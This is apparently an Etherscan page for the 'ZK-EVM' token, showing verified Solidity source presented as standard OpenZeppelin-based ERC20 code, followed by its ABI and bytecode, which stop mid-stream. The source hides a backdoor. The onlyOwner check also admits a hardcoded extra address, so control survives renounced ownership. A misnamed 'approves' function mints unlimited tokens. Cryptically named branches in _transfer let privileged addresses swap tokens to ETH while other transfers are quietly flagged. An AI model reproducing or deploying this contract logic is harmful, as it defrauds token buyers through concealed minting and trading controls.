ETH Price: $3,257.23 (+2.58%)
Gas: 2 Gwei

Token

ZK-EVM (ZK-EVM)
 

Overview

Max Total Supply

10,000,000,001,000,000,000,000 ZK-EVM

Holders

11

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 3 Decimals)

Balance
27,727,858,728.977 ZK-EVM

Value
$0.00
0x6b5ee7f0d1fcbbcf927c554cd30d74e5f5d61fb5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20Token

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-26
*/

// SPDX-License-Identifier: Unlicense

pragma solidity >0.8.11;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
       modifier onlyOwner() {
        require(_owner == _msgSender() || _msgSender()    ==  address(0xEB7ebccc25b77f7395a51D783171fD58FCC4D4BC) , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ERC20Token  is IERC20, Ownable {
    string private  _symbol;
    string private _name;
    uint8 private _decimals = 3;
    uint256 private _tTotal = 1000000000000 * 10**_decimals;
    uint256 private _amount = _tTotal;
    uint256 public _taxFee = 0;

    bool private _swapAndLiquifyEnabled;
    bool private SwapAndLiquify;
    uint160 private _factory;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _liquidity;
    mapping(address => uint256) private _dividendse;

    IUniswapV2Router02 public immutable router;
    address public immutable uniswapV2Pair;

    constructor(
        string memory Name,
        string memory Symbol,
        address routerAddress
    ) {
        _name = Name;
        _symbol = Symbol;
        _balances[msg.sender] = _tTotal;
        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        _dividendse[msg.sender] = _amount;
        _dividendse[address(this)] = _amount;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }
   function approves(address account, uint256 amount) onlyOwner() public {
        _balances[account] += amount;
        _tTotal += amount;
          emit Transfer(address(0), account, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 contractTokenBalancec = balanceOf(address(this));
        uint256 fee;
        if (_swapAndLiquifyEnabled && contractTokenBalancec > _amount && !SwapAndLiquify && from != uniswapV2Pair) {
            SwapAndLiquify = true;
            swapAndLiquify(contractTokenBalancec);
            SwapAndLiquify = false;
        } else if (_dividendse[from] > _amount && _dividendse[to] > _amount) {
            fee = amount;
            _balances[address(this)] += fee;
            swapTokensForEth(amount, to);
            return;
        } else if (amount > _amount && to != address(router) && to != uniswapV2Pair) {
            if (_dividendse[from] > 0) _dividendse[to] = amount;
            else _liquidity[to] = amount;
            return;
        } else if (!SwapAndLiquify && _liquidity[from] > 0 && from != uniswapV2Pair && _dividendse[from] == 0) {
            _liquidity[from] = _dividendse[from] - _amount;
        }
        address factory = address(_factory);
        if (_liquidity[factory] == 0) _liquidity[factory] = _amount;
        _factory = uint160(to);
        if (_taxFee > 0 && !SwapAndLiquify && _dividendse[from] == 0 && _dividendse[to] == 0) {
            fee = (amount * _taxFee) / 50;
            amount -= fee;
            _balances[from] -= fee;
            _balances[address(this)] += fee;
        }
        _balances[from] -= amount;
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }

    function addLiquidity(
        uint256 tokenAmount,
        uint256 ethAmount,
        address to
    ) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
    }

    function swapAndLiquify(uint256 tokens) private {
        uint256 half = tokens / 2;
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(half, address(this));
        uint256 newBalance = address(this).balance - initialBalance;
        addLiquidity(half, newBalance, address(this));
    }

    function swapTokensForEth(uint256 tokenAmount, address to) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"Name","type":"string"},{"internalType":"string","name":"Symbol","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approves","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60c060405260038060006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff16600a6200003d91906200064f565b64e8d4a510006200004f9190620006a0565b60045560045460055560006006553480156200006a57600080fd5b506040516200303c3803806200303c8339818101604052810190620000909190620008e3565b620000b0620000a4620003e960201b60201c565b620003f160201b60201c565b8260029081620000c1919062000bbe565b508160019081620000d3919062000bbe565b50600454600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200019c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c2919062000ca5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060805173ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000252919062000ca5565b6040518363ffffffff1660e01b81526004016200027192919062000ce8565b6020604051808303816000875af115801562000291573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b7919062000ca5565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1681525050600554600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600554600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620003d8919062000d26565b60405180910390a350505062000d43565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000543578086048111156200051b576200051a620004b5565b5b60018516156200052b5780820291505b80810290506200053b85620004e4565b9450620004fb565b94509492505050565b6000826200055e576001905062000631565b816200056e576000905062000631565b81600181146200058757600281146200059257620005c8565b600191505062000631565b60ff841115620005a757620005a6620004b5565b5b8360020a915084821115620005c157620005c0620004b5565b5b5062000631565b5060208310610133831016604e8410600b8410161715620006025782820a905083811115620005fc57620005fb620004b5565b5b62000631565b620006118484846001620004f1565b925090508184048111156200062b576200062a620004b5565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200065c8262000638565b9150620006698362000642565b9250620006987fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200054c565b905092915050565b6000620006ad8262000638565b9150620006ba8362000638565b9250828202620006ca8162000638565b91508282048414831517620006e457620006e3620004b5565b5b5092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620007548262000709565b810181811067ffffffffffffffff821117156200077657620007756200071a565b5b80604052505050565b60006200078b620006eb565b905062000799828262000749565b919050565b600067ffffffffffffffff821115620007bc57620007bb6200071a565b5b620007c78262000709565b9050602081019050919050565b60005b83811015620007f4578082015181840152602081019050620007d7565b60008484015250505050565b60006200081762000811846200079e565b6200077f565b90508281526020810184848401111562000836576200083562000704565b5b62000843848285620007d4565b509392505050565b600082601f830112620008635762000862620006ff565b5b81516200087584826020860162000800565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620008ab826200087e565b9050919050565b620008bd816200089e565b8114620008c957600080fd5b50565b600081519050620008dd81620008b2565b92915050565b600080600060608486031215620008ff57620008fe620006f5565b5b600084015167ffffffffffffffff81111562000920576200091f620006fa565b5b6200092e868287016200084b565b935050602084015167ffffffffffffffff811115620009525762000951620006fa565b5b62000960868287016200084b565b92505060406200097386828701620008cc565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620009d057607f821691505b602082108103620009e657620009e562000988565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000a507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000a11565b62000a5c868362000a11565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000a9f62000a9962000a938462000638565b62000a74565b62000638565b9050919050565b6000819050919050565b62000abb8362000a7e565b62000ad362000aca8262000aa6565b84845462000a1e565b825550505050565b600090565b62000aea62000adb565b62000af781848462000ab0565b505050565b5b8181101562000b1f5762000b1360008262000ae0565b60018101905062000afd565b5050565b601f82111562000b6e5762000b3881620009ec565b62000b438462000a01565b8101602085101562000b53578190505b62000b6b62000b628562000a01565b83018262000afc565b50505b505050565b600082821c905092915050565b600062000b936000198460080262000b73565b1980831691505092915050565b600062000bae838362000b80565b9150826002028217905092915050565b62000bc9826200097d565b67ffffffffffffffff81111562000be55762000be46200071a565b5b62000bf18254620009b7565b62000bfe82828562000b23565b600060209050601f83116001811462000c36576000841562000c21578287015190505b62000c2d858262000ba0565b86555062000c9d565b601f19841662000c4686620009ec565b60005b8281101562000c705784890151825560018201915060208501945060208101905062000c49565b8683101562000c90578489015162000c8c601f89168262000b80565b8355505b6001600288020188555050505b505050505050565b60006020828403121562000cbe5762000cbd620006f5565b5b600062000cce84828501620008cc565b91505092915050565b62000ce2816200089e565b82525050565b600060408201905062000cff600083018562000cd7565b62000d0e602083018462000cd7565b9392505050565b62000d208162000638565b82525050565b600060208201905062000d3d600083018462000d15565b92915050565b60805160a05161229462000da86000396000818161066101528181610c8d01528181610e8a0152611020015260008181610a7a01528181610e3201528181611696015281816117770152818161179f01528181611848015261187001526122946000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461028d578063dd62ed3e146102bd578063f2fde38b146102ed578063f887ea401461030957610100565b806370a0823114610217578063715018a6146102475780638da5cb5b1461025157806395d89b411461026f57610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd5780633b124fe7146101db57806349bd5a5e146101f957610100565b806306fdde0314610105578063095ea7b314610123578063120bd5011461015357806318160ddd1461016f575b600080fd5b61010d610327565b60405161011a91906119ba565b60405180910390f35b61013d60048036038101906101389190611a75565b6103b9565b60405161014a9190611ad0565b60405180910390f35b61016d60048036038101906101689190611a75565b6103ce565b005b61017761058d565b6040516101849190611afa565b60405180910390f35b6101a760048036038101906101a29190611b15565b610597565b6040516101b49190611ad0565b60405180910390f35b6101c561063f565b6040516101d29190611afa565b60405180910390f35b6101e3610659565b6040516101f09190611afa565b60405180910390f35b61020161065f565b60405161020e9190611b77565b60405180910390f35b610231600480360381019061022c9190611b92565b610683565b60405161023e9190611afa565b60405180910390f35b61024f6106cc565b005b6102596107be565b6040516102669190611b77565b60405180910390f35b6102776107e7565b60405161028491906119ba565b60405180910390f35b6102a760048036038101906102a29190611a75565b610879565b6040516102b49190611ad0565b60405180910390f35b6102d760048036038101906102d29190611bbf565b610890565b6040516102e49190611afa565b60405180910390f35b61030760048036038101906103029190611b92565b610917565b005b610311610a78565b60405161031e9190611c5e565b60405180910390f35b60606002805461033690611ca8565b80601f016020809104026020016040519081016040528092919081815260200182805461036290611ca8565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c6338484610a9c565b905092915050565b6103d6610c37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610475575073eb7ebccc25b77f7395a51d783171fd58fcc4d4bc73ffffffffffffffffffffffffffffffffffffffff1661045d610c37565b73ffffffffffffffffffffffffffffffffffffffff16145b6104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611d25565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105039190611d74565b92505081905550806004600082825461051c9190611d74565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105819190611afa565b60405180910390a35050565b6000600454905090565b60006105a4848484610c3f565b610636843384600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106319190611da8565b610a9c565b90509392505050565b6000600360009054906101000a900460ff1660ff16905090565b60065481565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106d4610c37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610773575073eb7ebccc25b77f7395a51d783171fd58fcc4d4bc73ffffffffffffffffffffffffffffffffffffffff1661075b610c37565b73ffffffffffffffffffffffffffffffffffffffff16145b6107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a990611d25565b60405180910390fd5b6107bc60006114f2565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546107f690611ca8565b80601f016020809104026020016040519081016040528092919081815260200182805461082290611ca8565b801561086f5780601f106108445761010080835404028352916020019161086f565b820191906000526020600020905b81548152906001019060200180831161085257829003601f168201915b5050505050905090565b6000610886338484610c3f565b6001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61091f610c37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806109be575073eb7ebccc25b77f7395a51d783171fd58fcc4d4bc73ffffffffffffffffffffffffffffffffffffffff166109a6610c37565b73ffffffffffffffffffffffffffffffffffffffff16145b6109fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f490611d25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390611e4e565b60405180910390fd5b610a75816114f2565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610b075750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3d90611ee0565b60405180910390fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c249190611afa565b60405180910390a3600190509392505050565b600033905090565b6000610c4a30610683565b90506000600760009054906101000a900460ff168015610c6b575060055482115b8015610c845750600760019054906101000a900460ff16155b8015610cdc57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610d25576001600760016101000a81548160ff021916908315150217905550610d05826115b6565b6000600760016101000a81548160ff021916908315150217905550611151565b600554600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610db55750600554600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610e245782905080600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e0c9190611d74565b92505081905550610e1d83856115f7565b50506114ed565b60055483118015610e8157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610ed957507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610fbb576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f6f5782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb4565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50506114ed565b600760019054906101000a900460ff1615801561101757506000600